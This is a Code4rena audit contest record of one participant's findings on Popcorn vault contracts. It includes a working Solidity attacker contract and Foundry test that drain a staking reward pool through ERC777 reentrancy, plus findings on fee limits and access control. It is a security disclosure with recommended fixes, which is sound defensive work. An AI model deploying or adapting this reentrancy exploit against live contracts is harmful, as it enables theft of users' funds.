Platform: Code4rena
Start Date: 31/01/2023
Pot Size: $90,500 USDC
Total HM: 47
Participants: 169
Period: 7 days
Judge: LSDan
Total Solo HM: 9
Id: 211
League: ETH
Rank: 45/169
Findings: 4
Award: $366.10
π Selected for report: 1
π Solo Findings: 0
π Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xNazgul, 0xRobocop, Aymen0909, KIntern_NA, Kenshin, KingNFT, Krace, Kumpa, SadBase, aashar, apvlki, btk, cccz, critical-or-high, eccentricexit, fs0c, gjaldon, hansfriese, immeas, mert_eren, mgf15, mrpathfindr, orion, peanuts, rvi0x, rvierdiiev, supernova, ulqiorra, waldenyan20, y1cunhui
4.6115 USDC - $4.61
The reward pool can be drained if ERC777-compatible tokens are used since they have a callback which attackers can utilize.
Below is the code that is used in MultiRewardStaking.sol
function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) { // CODE _rewardTokens[i].transfer(user, rewardAmount); // MORE CODE accruedRewards[user][_rewardTokens[i]] = 0; }
As we can, claimRewards()
first transfers the token and then updates the state.
Here is the attacker contract that I used
// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; import "openzeppelin-contracts/token/ERC777/IERC777Recipient.sol"; import {IERC20Upgradeable as IERC20} from "openzeppelin-contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "openzeppelin-contracts/interfaces/IERC1820Registry.sol"; import "forge-std/console.sol"; import { MultiRewardStaking } from "./utils/MultiRewardStaking.sol"; contract Attacker is IERC777Recipient{ IERC20 public immutable stakingToken; MultiRewardStaking public immutable staking; IERC20[] public rewardsTokenKeys; uint256 reenter; IERC1820Registry private erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); constructor(address _stakingToken, address _staking, IERC20[] memory _rewardsTokenKeys){ rewardsTokenKeys = _rewardsTokenKeys; stakingToken = IERC20(_stakingToken); staking = MultiRewardStaking(_staking); erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } function depositFirst() public{ stakingToken.approve(address(staking), 5 ether); staking.deposit(1 ether); } function attack() public{ staking.claimRewards(address(this), rewardsTokenKeys); } function tokensReceived( address, address, address, uint256, bytes calldata, bytes calldata ) external override { reenter++; if(reenter < 10){ staking.claimRewards(address(this), rewardsTokenKeys); } } }
And here is how I tested the attack
function test__accrual_on_attack_claim() public { // Preparing a Mock ERC777 Token address[] memory defaultOperators = new address[](0); rewardToken3 = new MockERC777(defaultOperators, 100 * 10**18, hacker); iRewardToken3 = IERC20(address(rewardToken3)); IERC20[] memory rewardsTokenKeys = new IERC20[](1); rewardsTokenKeys[0] = iRewardToken3; // Deploying an attacker contract attackerContract = new Attacker(address(stakingToken), address(staking), rewardsTokenKeys); // adding the reward token to the contract. 10 * 10*18 tokens were added to the contract as reward tokens _addRewardToken777(rewardToken3); assertEq(iRewardToken3.balanceOf(address(staking)), 10 ether); // minting some tokens for depositing stakingToken.mint(address(attackerContract), 5 ether); uint256 rewardBalanceOfAttackerBefore = iRewardToken3.balanceOf(address(attackerContract)); // hacker calls the deposit function and deposits some stakingTokens vm.startPrank(hacker); attackerContract.depositFirst(); // 10% of rewards paid out vm.warp(block.timestamp + 10); // Then calls the attack after some time period to claim the rewards attackerContract.attack(); // After the attack, the entire 10*10**18 tokens were drained from the contract uint256 rewardBalanceOfAttackerAfter = iRewardToken3.balanceOf(address(attackerContract)); assertEq(rewardBalanceOfAttackerBefore + 10 ether, rewardBalanceOfAttackerAfter); assertEq(iRewardToken3.balanceOf(address(staking)), 0); }
To run the test just use forge test --no-match-contract 'Abstract' --match-test test__accrual_on_attack_claim -vv --rpc-url <ETH_RPC_URL>
Foundry
Adding openzeppelin's reentrancy guard is the easiest and safest way to prevent such an attack.
#0 - c4-judge
2023-02-16T07:39:48Z
dmvt marked the issue as duplicate of #54
#1 - c4-sponsor
2023-02-18T12:11:08Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T00:20:56Z
dmvt marked the issue as satisfactory
211.4793 USDC - $211.48
nominateNewDependencyOwner()
cannot be called since the owner is VaultController and it doesn't have any implementations in place for this.
As you can see from the code below, it has the onlyOwner modifier which limits its call to only VaultController via the admin proxy.
function nominateNewDependencyOwner(address _owner) external onlyOwner { IOwned(address(cloneFactory)).nominateNewOwner(_owner); IOwned(address(cloneRegistry)).nominateNewOwner(_owner); IOwned(address(templateRegistry)).nominateNewOwner(_owner); }
However, this nominateNewDependencyOwner()
function is not being called anywhere in the VaultController.sol
. And therefore it cannot be called from AdminProxy. Here's a test for the same:
function test__nominateDependencyOwner_by_not_vaultController() public { deploymentController = IDeploymentController( address( new DeploymentController( address(controller), // vault controller factory, cloneRegistry, templateRegistry ) ) ); vm.expectRevert(); deploymentController.nominateNewDependencyOwner(address(0x2222)); }
Manual, Foundry
Add a function in VaultController.sol
that calls the nominateNewDependencyOwner
function so that it can be called via AdminProxy.
#0 - c4-judge
2023-02-16T04:40:17Z
dmvt marked the issue as duplicate of #236
#1 - c4-sponsor
2023-02-18T12:02:13Z
RedVeil marked the issue as disagree with severity
#2 - c4-sponsor
2023-02-18T12:02:19Z
RedVeil marked the issue as sponsor confirmed
#3 - c4-judge
2023-02-23T20:48:23Z
dmvt changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-02-23T20:50:45Z
dmvt marked the issue as satisfactory
114.5251 USDC - $114.53
The vault owner can charge any fees when initializing. Because of this a lot of problems can occur
Below is the code where the fees can be set to anything during the initialization
function initialize( IERC20 asset_, IERC4626 adapter_, VaultFees calldata fees_, address feeRecipient_, address owner ) external initializer { //code fees = fees_; // code
Here is a test to confirm the same
function test_Vault_any_Fees() public{ address vaultAddress1 = address(new Vault()); Vault vault1; vault1 = Vault(vaultAddress1); vault1.initialize( IERC20(address(asset)), IERC4626(address(adapter)), VaultFees({ deposit: 2e18, withdrawal: 2e18, management: 2e18, performance: 2e18 }), feeRecipient, address(this) ); }
Manual review, Foundry tests
Add a revert statement like this
if ( newFees.deposit >= 1e18 || newFees.withdrawal >= 1e18 || newFees.management >= 1e18 || newFees.performance >= 1e18 ) revert InvalidVaultFees();
#0 - c4-judge
2023-02-16T04:19:03Z
dmvt marked the issue as duplicate of #198
#1 - c4-sponsor
2023-02-18T12:00:07Z
RedVeil marked the issue as disagree with severity
#2 - c4-sponsor
2023-02-18T12:00:11Z
RedVeil marked the issue as sponsor confirmed
#3 - c4-judge
2023-02-23T16:19:41Z
dmvt changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-02-23T16:23:42Z
dmvt marked the issue as selected for report
π Selected for report: IllIllI
Also found by: 0x3b, 0xAgro, 0xBeirao, 0xMirce, 0xNineDec, 0xRobocop, 0xSmartContract, 0xTraub, 0xWeiss, 2997ms, 41i3xn, Awesome, Aymen0909, Bauer, Bnke0x0, Breeje, Cryptor, DadeKuma, Deathstore, Deekshith99, DevABDee, DevTimSch, Dewaxindo, Diana, Ermaniwe, Guild_3, H0, IceBear, Inspectah, JDeryl, Kaiziron, Kaysoft, Kenshin, Mukund, Praise, RaymondFam, Rickard, Rolezn, Ruhum, Sathish9098, SkyWalkerMan, SleepingBugs, UdarTeam, Udsen, Walter, aashar, adeolu, apvlki, arialblack14, ast3ros, btk, chaduke, chandkommanaboyina, chrisdior4, climber2002, codetilda, cryptonue, cryptostellar5, csanuragjain, ddimitrov22, descharre, dharma09, doublesharp, eccentricexit, ethernomad, fs0c, georgits, halden, hansfriese, hashminer0725, immeas, lukris02, luxartvinsec, matrix_0wl, merlin, mookimgo, mrpathfindr, nadin, olegthegoat, pavankv, rbserver, rebase, savi0ur, sayan, scokaf, seeu, shark, simon135, tnevler, tsvetanovv, ulqiorra, ustas, waldenyan20, y1cunhui, yongskiws, yosuke
35.4779 USDC - $35.48
Here is a test to demonstrate it:
bytes32 templateCategory1 = "templateCategory1"; ClonableWithInitData clonableWithInitData = new ClonableWithInitData(); registry.addTemplateCategory(templateCategory); registry.addTemplate( templateCategory, templateId, Template({ implementation: address(clonableWithInitData), endorsed: false, metadataCid: metadataCid, requiresInitData: true, registry: address(0x2222), requiredSigs: reqSigs }) ); vm.expectEmit(true, true, true, false, address(registry)); emit TemplateEndorsementToggled(templateCategory, templateId, false, true); registry.toggleTemplateEndorsement(templateCategory1, templateId); Template memory template = registry.getTemplate(templateCategory, templateId); assertFalse(template.endorsed); template = registry.getTemplate(templateCategory1, templateId); assertTrue(template.endorsed); }
Missing call to __ReentrancyGuard_init() in Vault.sol - https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L57
Missing call to __Pausable_init() in Vault.sol - https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L57
Function _totalAssets shadows an existing declaration L258 and L388 - https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L258 and https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L388
changeFees() can be called by anyone because it does not have the onlyOwner modifier - https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L540
Modifiers are being used to make state changes and call other functions a. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L480 b. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L496 c. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L371 d. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L559
#0 - c4-judge
2023-02-28T18:25:45Z
dmvt marked the issue as grade-b